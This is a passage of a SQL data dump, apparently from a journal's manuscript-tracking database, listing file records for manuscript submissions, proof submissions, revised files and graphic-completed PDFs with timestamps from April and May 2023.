15:39:30',1,3,0),(36622,13689,'13689-0ktn-Manuscript-proof-submission-2023-04-24.rar',NULL,'2023-04-24 15:58:36',1,3,0),(36623,13727,'13727-0-Manuscript-2023-04-24.docx',NULL,'2023-04-24 17:05:40',1,1,0),(36624,13689,'13689-Manuscript-2023-04-24-1arf-ap-team-revised.rar',NULL,'2023-04-24 17:20:18',1,3,1),(36625,13630,'13630-Manuscript-2023-04-24-cfzj-ap-team-revised.rar',NULL,'2023-04-24 17:29:12',1,3,1),(36626,13606,'13606-Manuscript-2023-04-24-bs5y-ap-team-revised.rar',NULL,'2023-04-24 17:29:40',1,3,1),(36627,13613,'13613-Manuscript-2023-04-24-zwt5-ap-team-revised.rar',NULL,'2023-04-24 17:30:07',1,3,1),(36628,13629,'13629-Manuscript-2023-04-24-dmn1-ap-team-revised.rar',NULL,'2023-04-24 17:30:53',1,3,1),(36629,13628,'13628-Manuscript-2023-04-24-mar4-ap-team-revised.rar',NULL,'2023-04-24 17:31:23',1,3,1),(36630,13627,'13627-Manuscript-2023-04-25-m6xd.pdf',NULL,'2023-04-25 09:10:01',1,3,0),(36631,13689,'13689-Manuscript-2023-04-25-jxl4-graphic-completed.pdf',NULL,'2023-04-25 11:06:37',1,3,0),(36632,13701,'13701-2es7-Manuscript-proof-submission-2023-04-25.zip',NULL,'2023-04-25 11:28:32',1,3,0),(36633,13709,'13709-8c7y-Manuscript-proof-submission-2023-04-25.zip',NULL,'2023-04-25 11:47:56',1,3,0),(36634,13710,'13710-euj8-Manuscript-proof-submission-2023-04-25.zip',NULL,'2023-04-25 12:01:42',1,3,0),(36635,13728,'13728-0-Manuscript-2023-04-25.docx',NULL,'2023-04-25 12:10:25',1,1,0),(36636,13708,'13708-704g-Manuscript-proof-submission-2023-04-25.rar',NULL,'2023-04-25 13:25:45',1,3,0),(36637,13706,'13706-475n-Manuscript-proof-submission-2023-04-25.rar',NULL,'2023-04-25 13:26:11',1,3,0),(36638,13696,'13696-Manuscript-2023-04-25-visw.pdf',NULL,'2023-04-25 14:29:14',1,3,1),(36639,13724,'13724-2ysv-Manuscript-proof-submission-2023-04-25.zip',NULL,'2023-04-25 14:31:06',1,3,0),(36640,13698,'13698-Manuscript-2023-04-25-4nuq.pdf',NULL,'2023-04-25 14:31:52',1,3,1),(36641,13699,'13699-Manuscript-2023-04-25-7cod.pdf',NULL,'2023-04-25 14:34:13',1,3,1),(36642,13560,'13560-c5ed-Manuscript-proof-submission-2023-04-25.rar',NULL,'2023-04-25 15:04:45',1,3,0),(36643,13697,'13697-Manuscript-2023-04-25-mgn4.pdf',NULL,'2023-04-25 15:20:08',1,3,1),(36644,13668,'13668-Manuscript-2023-04-25-tw65.pdf',NULL,'2023-04-25 15:20:47',1,3,1),(36645,13477,'13477-bgle-Manuscript-proof-submission-2023-04-25.rar',NULL,'2023-04-25 15:47:57',1,3,0),(36646,13729,'13729-0-Manuscript-2023-04-25.docx',NULL,'2023-04-25 17:14:43',1,1,0),(36647,13724,'13724-Manuscript-2023-04-26-4xku-ap-team-revised.rar',NULL,'2023-04-26 09:26:37',1,3,1),(36648,13710,'13710-Manuscript-2023-04-26-62xw-ap-team-revised.rar',NULL,'2023-04-26 09:29:24',1,3,1),(36649,13701,'13701-Manuscript-2023-04-26-w03v-ap-team-revised.rar',NULL,'2023-04-26 09:30:36',1,3,1),(36650,13709,'13709-Manuscript-2023-04-26-67sl-ap-team-revised.rar',NULL,'2023-04-26 09:31:27',1,3,1),(36651,13730,'13730-0-Manuscript-2023-04-26.docx',NULL,'2023-04-26 11:18:34',1,1,0),(36652,13731,'13731-0-Manuscript-2023-04-26.docx',NULL,'2023-04-26 11:20:09',1,1,0),(36653,13732,'13732-0-Manuscript-2023-04-26.docx',NULL,'2023-04-26 11:22:14',1,1,0),(36654,13733,'13733-0-Manuscript-2023-04-26.docx',NULL,'2023-04-26 11:24:09',1,1,0),(36655,13727,'13727-nsw2-Manuscript-proof-submission-2023-04-26.zip',NULL,'2023-04-26 11:33:43',1,3,0),(36656,13728,'13728-be7a-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 11:35:20',1,3,0),(36657,13734,'13734-0-Manuscript-2023-04-26.docx',NULL,'2023-04-26 11:41:35',1,1,0),(36658,13598,'13598-8epn-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 11:50:22',1,3,0),(36659,13669,'13669-ovx6-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 13:39:03',1,3,0),(36660,13670,'13670-xjlt-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 13:39:54',1,3,0),(36661,13672,'13672-6rg5-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 13:40:39',1,3,0),(36662,13673,'13673-o7y9-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 13:41:04',1,3,0),(36663,13598,'13598-Manuscript-2023-04-26-lh6m-ap-team-revised.rar',NULL,'2023-04-26 13:41:05',1,3,1),(36664,13477,'13477-Manuscript-2023-04-26-8plq-iphsj-23-13477.rar',NULL,'2023-04-26 13:41:31',1,3,1),(36665,13674,'13674-il5a-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 13:41:33',1,3,0),(36666,13675,'13675-bl6c-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 13:42:55',1,3,0),(36667,13727,'13727-Manuscript-2023-04-26-9wa2-ap-team-revised.rar',NULL,'2023-04-26 13:43:13',1,3,1),(36668,13676,'13676-xk7c-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 13:43:30',1,3,0),(36669,13676,'13676-e7mp-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 13:43:32',1,3,0),(36670,13677,'13677-38ds-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 13:43:54',1,3,0),(36671,13678,'13678-36oa-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 13:44:13',1,3,0),(36672,13671,'13671-60ca-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 13:44:40',1,3,0),(36673,13691,'13691-r1v4-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 14:15:12',1,3,0),(36674,13562,'13562-n0dw-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 14:16:01',1,3,0),(36675,13561,'13561-h4yu-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 14:17:08',1,3,0),(36676,13611,'13611-bdhg-Manuscript-proof-submission-2023-04-26.rar',NULL,'2023-04-26 15:52:02',1,3,0),(36677,13691,'13691-Manuscript-2023-04-26-omyb-ap-team-revised.rar',NULL,'2023-04-26 17:23:08',1,3,1),(36678,13560,'13560-Manuscript-2023-04-26-bsvo-ipacm-23-13560.rar',NULL,'2023-04-26 17:23:54',1,3,1),(36679,13562,'13562-Manuscript-2023-04-26-961u-ap-team-revised.rar',NULL,'2023-04-26 17:24:27',1,3,1),(36680,13561,'13561-Manuscript-2023-04-26-z4ke-ap-team-revised.rar',NULL,'2023-04-26 17:24:58',1,3,1),(36681,13728,'13728-Manuscript-2023-04-27-cigo-ap-team-revised.rar',NULL,'2023-04-27 10:13:35',1,3,1),(36682,13705,'13705-Manuscript-2023-04-27-dr0m-ap-team-revised.rar',NULL,'2023-04-27 10:14:02',1,3,1),(36683,13706,'13706-Manuscript-2023-04-27-6p2d-ap-team-revised.rar',NULL,'2023-04-27 10:14:29',1,3,1),(36684,13639,'13639-Manuscript-2023-04-27-x6bv-ijddr-23-13639.rar',NULL,'2023-04-27 10:14:55',1,3,1),(36685,13708,'13708-Manuscript-2023-04-27-09wy-ap-team-revised.rar',NULL,'2023-04-27 10:15:23',1,3,1),(36686,13670,'13670-Manuscript-2023-04-27-ympa-ap-team-revised.rar',NULL,'2023-04-27 10:42:00',1,3,1),(36687,13669,'13669-Manuscript-2023-04-27-ankl-ap-team-revised.rar',NULL,'2023-04-27 10:42:33',1,3,1),(36688,13671,'13671-Manuscript-2023-04-27-gdmf-ap-team-revised.rar',NULL,'2023-04-27 10:43:05',1,3,1),(36689,13672,'13672-Manuscript-2023-04-27-v7yp-ap-team-revised.rar',NULL,'2023-04-27 10:43:33',1,3,1),(36690,13673,'13673-Manuscript-2023-04-27-b739-ap-team-revised.rar',NULL,'2023-04-27 10:44:00',1,3,1),(36691,13674,'13674-Manuscript-2023-04-27-as3n-ap-team-revised.rar',NULL,'2023-04-27 10:46:19',1,3,1),(36692,13675,'13675-Manuscript-2023-04-27-r0ic-ap-team-revised.rar',NULL,'2023-04-27 10:46:52',1,3,1),(36693,13676,'13676-Manuscript-2023-04-27-7ksb-ap-team-revised.rar',NULL,'2023-04-27 10:47:19',1,3,1),(36694,13678,'13678-Manuscript-2023-04-27-rlem-ap-team-revised.rar',NULL,'2023-04-27 10:47:46',1,3,1),(36695,13677,'13677-Manuscript-2023-04-27-shmc-ap-team-revised.rar',NULL,'2023-04-27 10:48:15',1,3,1),(36696,13598,'13598-Manuscript-2023-04-27-e0t7-graphic-completed.pdf',NULL,'2023-04-27 10:52:37',1,3,0),(36697,13477,'13477-Manuscript-2023-04-27-8z2k-graphic-completed.pdf',NULL,'2023-04-27 10:52:48',1,3,0),(36698,13652,'13652-cwea-Manuscript-proof-submission-2023-04-27.rar',NULL,'2023-04-27 11:23:47',1,3,0),(36699,13735,'13735-0-Manuscript-2023-04-27.docx',NULL,'2023-04-27 14:12:17',1,1,0),(36700,13689,'13689-Manuscript-2023-04-27-khft.pdf',NULL,'2023-04-27 15:32:18',1,3,1),(36701,13651,'13651-Manuscript-2023-04-27-xa24.pdf',NULL,'2023-04-27 15:33:34',1,3,1),(36702,13736,'13736-0-Manuscript-2023-04-27.docx',NULL,'2023-04-27 15:33:41',1,1,0),(36703,13620,'13620-Manuscript-2023-04-27-nd7g.pdf',NULL,'2023-04-27 15:34:39',1,3,1),(36704,13587,'13587-Manuscript-2023-04-27-su3e.pdf',NULL,'2023-04-27 15:36:03',1,3,1),(36705,13737,'13737-0-Manuscript-2023-04-27.docx',NULL,'2023-04-27 15:36:18',1,1,0),(36706,13612,'13612-Manuscript-2023-04-27-eqnv.pdf',NULL,'2023-04-27 15:37:21',1,3,1),(36707,13738,'13738-0-Manuscript-2023-04-27.docx',NULL,'2023-04-27 15:39:16',1,1,0),(36708,13739,'13739-0-Manuscript-2023-04-27.docx',NULL,'2023-04-27 15:43:58',1,1,0),(36709,13740,'13740-0-Manuscript-2023-04-27.docx',NULL,'2023-04-27 15:50:47',1,1,0),(36710,13721,'13721-frmc-Manuscript-proof-submission-2023-04-27.rar',NULL,'2023-04-27 16:52:30',1,3,0),(36711,13720,'13720-awv8-Manuscript-proof-submission-2023-04-27.rar',NULL,'2023-04-27 16:53:25',1,3,0),(36712,13719,'13719-ohs3-Manuscript-proof-submission-2023-04-27.rar',NULL,'2023-04-27 16:54:16',1,3,0),(36713,13717,'13717-uz5b-Manuscript-proof-submission-2023-04-27.rar',NULL,'2023-04-27 16:54:51',1,3,0),(36714,13716,'13716-qy2k-Manuscript-proof-submission-2023-04-27.rar',NULL,'2023-04-27 16:55:25',1,3,0),(36715,13652,'13652-Manuscript-2023-04-27-xcu9-ap-team-revised.rar',NULL,'2023-04-27 17:01:05',1,3,1),(36716,13611,'13611-Manuscript-2023-04-27-xirz-iphsj-23-13611.rar',NULL,'2023-04-27 17:01:34',1,3,1),(36717,13729,'13729-8zsg-Manuscript-proof-submission-2023-04-27.rar',NULL,'2023-04-27 17:22:15',1,3,0),(36718,13686,'13686-Manuscript-2023-04-27-gtsw-graphic-completed.pdf',NULL,'2023-04-27 18:31:47',1,3,0),(36719,13685,'13685-Manuscript-2023-04-27-7rut-graphic-completed.pdf',NULL,'2023-04-27 18:31:54',1,3,0),(36720,13684,'13684-Manuscript-2023-04-27-czdn-graphic-completed.pdf',NULL,'2023-04-27 18:32:01',1,3,0),(36721,13683,'13683-Manuscript-2023-04-27-4asz-graphic-completed.pdf',NULL,'2023-04-27 18:32:07',1,3,0),(36722,13687,'13687-4pj7-Manuscript-proof-submission-2023-04-28.docx',NULL,'2023-04-28 10:01:46',1,3,0),(36723,13687,'13687-1vpr-Manuscript-proof-submission-2023-04-28.pdf',NULL,'2023-04-28 10:01:46',1,3,0),(36724,13729,'13729-Manuscript-2023-04-28-f1od-ap-team-revised.rar',NULL,'2023-04-28 10:19:41',1,3,1),(36725,13477,'13477-Manuscript-2023-04-28-wspc.pdf',NULL,'2023-04-28 10:51:26',1,3,1),(36726,13598,'13598-Manuscript-2023-04-28-yo81.pdf',NULL,'2023-04-28 10:52:17',1,3,1),(36727,13684,'13684-Manuscript-2023-04-28-uiyz.pdf',NULL,'2023-04-28 12:10:38',1,3,0),(36728,13736,'13736-ny0m-Manuscript-proof-submission-2023-04-28.docx',NULL,'2023-04-28 13:12:35',1,3,0),(36729,13737,'13737-h9cs-Manuscript-proof-submission-2023-04-28.docx',NULL,'2023-04-28 13:13:27',1,3,0),(36730,13737,'13737-qyuh-Manuscript-proof-submission-2023-04-28.docx',NULL,'2023-04-28 13:13:29',1,3,0),(36731,13738,'13738-kpc8-Manuscript-proof-submission-2023-04-28.docx',NULL,'2023-04-28 13:14:08',1,3,0),(36732,13739,'13739-79vz-Manuscript-proof-submission-2023-04-28.docx',NULL,'2023-04-28 13:14:43',1,3,0),(36733,13740,'13740-7tk8-Manuscript-proof-submission-2023-04-28.docx',NULL,'2023-04-28 13:17:02',1,3,0),(36734,13686,'13686-Manuscript-2023-04-28-fck9.pdf',NULL,'2023-04-28 13:50:35',1,3,0),(36735,13734,'13734-sy47-Manuscript-proof-submission-2023-04-28.rar',NULL,'2023-04-28 14:20:43',1,3,0),(36736,13733,'13733-ewt3-Manuscript-proof-submission-2023-04-28.rar',NULL,'2023-04-28 14:21:24',1,3,0),(36737,13732,'13732-pgds-Manuscript-proof-submission-2023-04-28.rar',NULL,'2023-04-28 14:23:06',1,3,0),(36738,13731,'13731-s16r-Manuscript-proof-submission-2023-04-28.rar',NULL,'2023-04-28 14:23:50',1,3,0),(36739,13716,'13716-Manuscript-2023-04-28-lnwu-ap-team-revised.rar',NULL,'2023-04-28 14:45:05',1,3,0),(36740,13716,'13716-Manuscript-2023-04-28-hj0z-ap-team-revised.rar',NULL,'2023-04-28 14:45:25',1,3,1),(36741,13721,'13721-Manuscript-2023-04-28-6n38-ap-team-revised.rar',NULL,'2023-04-28 14:46:19',1,3,1),(36742,13720,'13720-Manuscript-2023-04-28-zo8i-ap-team-revised.rar',NULL,'2023-04-28 14:46:47',1,3,1),(36743,13719,'13719-Manuscript-2023-04-28-syux-ap-team-revised.rar',NULL,'2023-04-28 14:47:23',1,3,1),(36744,13717,'13717-Manuscript-2023-04-28-gokw-ap-team-revised.rar',NULL,'2023-04-28 14:54:01',1,3,1),(36745,13736,'13736-Manuscript-2023-04-28-ubrh-ap-team-revised.docx',NULL,'2023-04-28 14:57:33',1,3,0),(36746,13737,'13737-Manuscript-2023-04-28-gtl2-ap-team-revised.docx',NULL,'2023-04-28 14:57:42',1,3,0),(36747,13738,'13738-Manuscript-2023-04-28-aqht-ap-team-revised.docx',NULL,'2023-04-28 14:57:51',1,3,0),(36748,13739,'13739-Manuscript-2023-04-28-y279-ap-team-revised.docx',NULL,'2023-04-28 14:58:00',1,3,0),(36749,13740,'13740-Manuscript-2023-04-28-1roh-ap-team-revised.docx',NULL,'2023-04-28 14:58:09',1,3,0),(36750,13730,'13730-06a7-Manuscript-proof-submission-2023-04-28.rar',NULL,'2023-04-28 15:11:02',1,3,0),(36751,13667,'13667-b3u8-Manuscript-proof-submission-2023-04-28.rar',NULL,'2023-04-28 15:14:37',1,3,0),(36752,13634,'13634-a7km-Manuscript-proof-submission-2023-04-28.rar',NULL,'2023-04-28 15:15:24',1,3,0),(36753,13633,'13633-yfuh-Manuscript-proof-submission-2023-04-28.rar',NULL,'2023-04-28 15:16:17',1,3,0),(36754,13631,'13631-rq4e-Manuscript-proof-submission-2023-04-28.rar',NULL,'2023-04-28 15:17:03',1,3,0),(36755,13606,'13606-Manuscript-2023-04-28-f3op-graphic-completed.pdf',NULL,'2023-04-28 16:19:09',1,3,0),(36756,13629,'13629-Manuscript-2023-04-28-p710-graphic-completed.pdf',NULL,'2023-04-28 16:19:14',1,3,0),(36757,13630,'13630-Manuscript-2023-04-28-mv78-graphic-completed.pdf',NULL,'2023-04-28 16:19:17',1,3,0),(36758,13709,'13709-Manuscript-2023-04-28-3rg4-graphic-completed.pdf',NULL,'2023-04-28 16:19:21',1,3,0),(36759,13724,'13724-Manuscript-2023-04-28-g4n6-graphic-completed.pdf',NULL,'2023-04-28 16:19:25',1,3,0),(36760,13613,'13613-Manuscript-2023-04-28-xht2-graphic-completed.pdf',NULL,'2023-04-28 16:19:29',1,3,0),(36761,13628,'13628-Manuscript-2023-04-28-31x4-graphic-completed.pdf',NULL,'2023-04-28 16:19:32',1,3,0),(36762,13701,'13701-Manuscript-2023-04-28-4e7n-graphic-completed.pdf',NULL,'2023-04-28 16:19:36',1,3,0),(36763,13710,'13710-Manuscript-2023-04-28-2a8o-graphic-completed.pdf',NULL,'2023-04-28 16:19:40',1,3,0),(36764,13730,'13730-Manuscript-2023-04-28-w8s4-ap-team-revised.rar',NULL,'2023-04-28 17:13:01',1,3,0),(36765,13731,'13731-Manuscript-2023-04-28-8owf-ap-team-revised.rar',NULL,'2023-04-28 17:13:30',1,3,0),(36766,13732,'13732-Manuscript-2023-04-28-z5xr-ap-team-revised.rar',NULL,'2023-04-28 17:13:58',1,3,0),(36767,13733,'13733-Manuscript-2023-04-28-3s6l-ap-team-revised.rar',NULL,'2023-04-28 17:14:49',1,3,0),(36768,13734,'13734-Manuscript-2023-04-28-vkpt-ap-team-revised.rar',NULL,'2023-04-28 17:15:30',1,3,0),(36769,13667,'13667-Manuscript-2023-04-28-e5fm-ap-team-revised.rar',NULL,'2023-04-28 17:16:07',1,3,0),(36770,13631,'13631-Manuscript-2023-04-28-9nlm-ap-team-revised.rar',NULL,'2023-04-28 17:16:44',1,3,0),(36771,13634,'13634-Manuscript-2023-04-28-td03-ap-team-revised.rar',NULL,'2023-04-28 17:17:10',1,3,0),(36772,13633,'13633-Manuscript-2023-04-28-8kq9-ap-team-revised.rar',NULL,'2023-04-28 17:17:35',1,3,0),(36773,13685,'13685-Manuscript-2023-04-28-gw5e.pdf',NULL,'2023-04-28 17:19:05',1,3,1),(36774,13729,'13729-Manuscript-2023-04-29-k5ox-graphic-completed.pdf',NULL,'2023-04-29 11:14:52',1,3,0),(36775,13652,'13652-Manuscript-2023-04-29-jt0a-graphic-completed.pdf',NULL,'2023-04-29 11:15:09',1,3,0),(36776,13611,'13611-Manuscript-2023-04-29-j0yt-graphic-completed.pdf',NULL,'2023-04-29 11:15:20',1,3,0),(36777,13710,'13710-Manuscript-2023-04-29-wsa4.pdf',NULL,'2023-04-29 11:31:11',1,3,1),(36778,13709,'13709-Manuscript-2023-04-29-5vum.pdf',NULL,'2023-04-29 11:33:02',1,3,1),(36779,13606,'13606-Manuscript-2023-04-29-3r4o.pdf',NULL,'2023-04-29 11:34:35',1,3,1),(36780,13701,'13701-Manuscript-2023-04-29-wghy.pdf',NULL,'2023-04-29 11:35:59',1,3,1),(36781,13630,'13630-Manuscript-2023-04-29-5hxq.pdf',NULL,'2023-04-29 11:37:13',1,3,1),(36782,13629,'13629-Manuscript-2023-04-29-gnxc.pdf',NULL,'2023-04-29 11:38:49',1,3,1),(36783,13628,'13628-Manuscript-2023-04-29-euvz.pdf',NULL,'2023-04-29 11:40:00',1,3,1),(36784,13611,'13611-Manuscript-2023-04-29-mkz9.pdf',NULL,'2023-04-29 12:12:14',1,3,1),(36785,13729,'13729-Manuscript-2023-04-29-x10k.pdf',NULL,'2023-04-29 12:13:48',1,3,1),(36786,13652,'13652-Manuscript-2023-04-29-xlaj.pdf',NULL,'2023-04-29 12:14:55',1,3,1),(36787,13741,'13741-0-Manuscript-2023-04-30.docx',NULL,'2023-04-30 20:50:17',1,1,0),(36788,13742,'13742-0-Manuscript-2023-05-02.docx',NULL,'2023-05-02 09:53:26',1,1,0),(36789,13581,'13581-Manuscript-2023-05-02-5m0g-graphic-completed.pdf',NULL,'2023-05-02 10:56:39',1,3,0),(36790,13580,'13580-Manuscript-2023-05-02-6rme-graphic-completed.pdf',NULL,'2023-05-02 10:56:47',1,3,0),(36791,13579,'13579-Manuscript-2023-05-02-h1wz-graphic-completed.pdf',NULL,'2023-05-02 11:00:03',1,3,0),(36792,13577,'13577-Manuscript-2023-05-02-kjyp-graphic-completed.pdf',NULL,'2023-05-02 11:00:17',1,3,0),(36793,13576,'13576-Manuscript-2023-05-02-oji2-graphic-completed.pdf',NULL,'2023-05-02 11:19:32',1,3,0),(36794,13645,'13645-Manuscript-2023-05-02-w8zn-graphic-completed.pdf',NULL,'2023-05-02 11:19:36',1,3,0),(36795,13679,'13679-Manuscript-2023-05-02-ozxt-graphic-completed.pdf',NULL,'2023-05-02 11:41:24',1,3,0),(36796,13680,'13680-Manuscript-2023-05-02-h9p8-graphic-completed.pdf',NULL,'2023-05-02 11:41:45',1,3,0),(36797,13682,'13682-Manuscript-2023-05-02-de98-graphic-completed.pdf',NULL,'2023-05-02 11:48:40',1,3,0),(36798,13681,'13681-Manuscript-2023-05-02-1uh5-graphic-completed.pdf',NULL,'2023-05-02 11:48:42',1,3,0),(36799,13730,'13730-Manuscript-2023-05-02-qu3m-graphic-completed.pdf',NULL,'2023-05-02 12:27:48',1,3,0),(36800,13631,'13631-Manuscript-2023-05-02-si7g-graphic-completed.pdf',NULL,'2023-05-02 12:27:50',1,3,0),(36801,13667,'13667-Manuscript-2023-05-02-cjl9-graphic-completed.pdf',NULL,'2023-05-02 12:27:54',1,3,0),(36802,13733,'13733-Manuscript-2023-05-02-unh0-graphic-completed.pdf',NULL,'2023-05-02 12:27:58',1,3,0),(36803,13634,'13634-Manuscript-2023-05-02-wmnp-graphic-completed.pdf',NULL,'2023-05-02 12:28:02',1,3,0),(36804,13646,'13646-Manuscript-2023-05-02-5xnf-graphic-completed.pdf',NULL,'2023-05-02 12:28:24',1,3,0),(36805,13734,'13734-Manuscript-2023-05-02-149m-graphic-completed.pdf',NULL,'2023-05-02 12:28:28',1,3,0),(36806,13731,'13731-Manuscript-2023-05-02-k3a9-graphic-completed.pdf',NULL,'2023-05-02 12:28:31',1,3,0),(36807,13732,'13732-Manuscript-2023-05-02-bxsu-graphic-completed.pdf',NULL,'2023-05-02 12:29:09',1,3,0),(36808,13633,'13633-Manuscript-2023-05-02-sgde-graphic-completed.pdf',NULL,'2023-05-02 12:29:54',1,3,0),(36809,13613,'13613-Manuscript-2023-05-02-lz1b.pdf',NULL,'2023-05-02 14:51:44',1,3,1),(36810,13724,'13724-Manuscript-2023-05-02-1l6p.pdf',NULL,'2023-05-02 14:52:24',1,3,1),(36811,13670,'13670-Manuscript-2023-05-02-xj6b-graphic-completed.pdf',NULL,'2023-05-02 15:18:51',1,3,0),(36812,13669,'13669-Manuscript-2023-05-02-j0eh-graphic-completed.pdf',NULL,'2023-05-02 15:18:54',1,3,0),(36813,13677,'13677-Manuscript-2023-05-02-welp-graphic-completed.pdf',NULL,'2023-05-02 15:18:58',1,3,0),(36814,13673,'13673-Manuscript-2023-05-02-l0v9-graphic-completed.pdf',NULL,'2023-05-02 15:19:04',1,3,0),(36815,13678,'13678-Manuscript-2023-05-02-6r3i-graphic-completed.pdf',NULL,'2023-05-02 15:19:08',1,3,0),(36816,13676,'13676-Manuscript-2023-05-02-7ekd-graphic-completed.pdf',NULL,'2023-05-02 15:19:12',1,3,0),(36817,13675,'13675-Manuscript-2023-05-02-oyef-graphic-completed.pdf',NULL,'2023-05-02 15:19:24',1,3,0),(36818,13673,'13673-Manuscript-2023-05-02-jaxw-graphic-completed.pdf',NULL,'2023-05-02 15:19:37',1,3,0),(36819,13672,'13672-Manuscript-2023-05-02-pg7t-graphic-completed.pdf',NULL,'2023-05-02 15:19:45',1,3,0),(36820,13671,'13671-Manuscript-2023-05-02-py3g-graphic-completed.pdf',NULL,'2023-05-02 15:19:52',1,3,0),(36821,13674,'13674-Manuscript-2023-05-02-i49c-graphic-completed.pdf',NULL,'2023-05-02 15:22:11',1,3,0),(36822,13671,'13671-Manuscript-2023-05-02-f8oj.pdf',NULL,'2023-05-02 15:45:02',1,3,1),(36823,13670,'13670-Manuscript-2023-05-02-se4n.pdf',NULL,'2023-05-02 15:46:00',1,3,1),(36824,13673,'13673-Manuscript-2023-05-02-yq81.pdf',NULL,'2023-05-02 15:47:26',1,3,1),(36825,13669,'13669-Manuscript-2023-05-02-xfo1.pdf',NULL,'2023-05-02 15:48:17',1,3,1),(36826,13678,'13678-Manuscript-2023-05-02-0p7y.pdf',NULL,'2023-05-02 15:49:09',1,3,1),(36827,13674,'13674-Manuscript-2023-05-02-xqr3.pdf',NULL,'2023-05-02 16:37:49',1,3,1),(36828,13677,'13677-Manuscript-2023-05-02-gx72.pdf',NULL,'2023-05-02 16:38:47',1,3,1),(36829,13676,'13676-Manuscript-2023-05-02-ugp0.pdf',NULL,'2023-05-02 16:39:41',1,3,1),(36830,13675,'13675-Manuscript-2023-05-02-7u9g.pdf',NULL,'2023-05-02 16:40:31',1,3,1),(36831,13727,'13727-Manuscript-2023-05-02-o6ns-graphic-completed.pdf',NULL,'2023-05-02 16:49:18',1,3,0),(36832,13727,'13727-Manuscript-2023-05-02-ahds.pdf',NULL,'2023-05-02 17:09:45',1,3,1),(36833,13672,'13672-Manuscript-2023-05-03-nbcg.pdf',NULL,'2023-05-03 10:30:40',1,3,1),(36834,13721,'13721-Manuscript-2023-05-03-d47a-graphic-completed.pdf',NULL,'2023-05-03 12:00:50',1,3,0),(36835,13720,'13720-Manuscript-2023-05-03-31v4-graphic-completed.pdf',NULL,'2023-05-03 12:00:52',1,3,0),(36836,13719,'13719-Manuscript-2023-05-03-z9yv-graphic-completed.pdf',NULL,'2023-05-03 12:00:55',1,3,0),(36837,13716,'13716-Manuscript-2023-05-03-p7nw-graphic-completed.pdf',NULL,'2023-05-03 12:00:57',1,3,0),(36838,13716,'13716-Manuscript-2023-05-03-vxwz-graphic-completed.pdf',NULL,'2023-05-03 12:01:04',1,3,0),(36839,13728,'13728-Manuscript-2023-05-05-5kmv-graphic-completed.pdf',NULL,'2023-05-05 10:45:06',1,3,0),(36840,13705,'13705-Manuscript-2023-05-05-4etd-graphic-completed.pdf',NULL,'2023-05-05 10:45:13',1,3,0),(36841,13706,'13706-Manuscript-2023-05-05-34ls-graphic-completed.pdf',NULL,'2023-05-05 10:45:24',1,3,0),(36842,13708,'13708-Manuscript-2023-05-05-4hfy-graphic-completed.pdf',NULL,'2023-05-05 10:45:33',1,3,0),(36843,13639,'13639-Manuscript-2023-05-05-8o6t-graphic-completed.pdf',NULL,'2023-05-05 10:45:45',1,3,0),(36844,13743,'13743-0-Manuscript-2023-05-05.docx',NULL,'2023-05-05 11:55:17',1,1,0),(36845,13744,'13744-0-Manuscript-2023-05-05.docx',NULL,'2023-05-05 11:57:41',1,1,0),(36847,13746,'13746-0-Manuscript-2023-05-05.docx',NULL,'2023-05-05 12:00:54',1,1,0),(36848,13171,'13171-Manuscript-2023-05-05-3rml.docx',NULL,'2023-05-05 15:28:40',1,3,0),(36849,13171,'13171-Manuscript-2023-05-05-is2b.pdf',NULL,'2023-05-05 15:29:00',1,3,0),(36850,13182,'13182-Manuscript-2023-05-05-3fl9.docx',NULL,'2023-05-05 15:52:15',1,3,0),(36851,13182,'13182-Manuscript-2023-05-05-1zq3.pdf',NULL,'2023-05-05 15:53:48',1,3,0),(36852,13559,'13559-Manuscript-2023-05-05-0ylm-qcfupteam-revised.docx',NULL,'2023-05-05 16:44:04',1,4,0),(36853,13559,'13559-jxko-Manuscript-2023-05-05.docx',NULL,'2023-05-05 16:44:17',1,1,0),(36855,13726,'13726-9n5v-Manuscript-proof-submission-2023-05-06.zip',NULL,'2023-05-06 12:14:22',1,3,0),(36856,13746,'13746-hc6r-Manuscript-proof-submission-2023-05-06.rar',NULL,'2023-05-06 12:15:44',1,3,0),(36857,13744,'13744-5slp-Manuscript-proof-submission-2023-05-06.rar',NULL,'2023-05-06 12:16:35',1,3,0),(36858,13743,'13743-h21z-Manuscript-proof-submission-2023-05-06.rar',NULL,'2023-05-06 12:17:28',1,3,0),(36859,13688,'13688-bhqv-Manuscript-proof-submission-2023-05-06.rar',NULL,'2023-05-06 12:18:10',1,3,0),(36860,13560,'13560-Manuscript-2023-05-06-3x64-graphic-completed.pdf',NULL,'2023-05-06 12:56:28',1,3,0),(36861,13561,'13561-Manuscript-2023-05-06-q7ux-graphic-completed.pdf',NULL,'2023-05-06 12:56:46',1,3,0),(36862,13562,'13562-Manuscript-2023-05-06-y1jc-graphic-completed.pdf',NULL,'2023-05-06 12:56:49',1,3,0),(36863,13690,'13690-Manuscript-2023-05-06-5jyc-graphic-completed.pdf',NULL,'2023-05-06 12:57:05',1,3,0),(36864,13691,'13691-Manuscript-2023-05-06-cjkh-graphic-completed.pdf',NULL,'2023-05-06 12:57:12',1,3,0),(36865,13692,'13692-Manuscript-2023-05-06-6wts-graphic-completed.pdf',NULL,'2023-05-06 12:57:44',1,3,0),(36867,13743,'13743-Manuscript-2023-05-08-tovr-ap-team-revised.rar',NULL,'2023-05-08 11:04:42',1,3,0),(36868,13746,'13746-Manuscript-2023-05-08-hp7e-ap-team-revised.rar',NULL,'2023-05-08 11:05:27',1,3,0),(36869,13746,'13746-Manuscript-2023-05-08-jq9p-ap-team-revised.rar',NULL,'2023-05-08 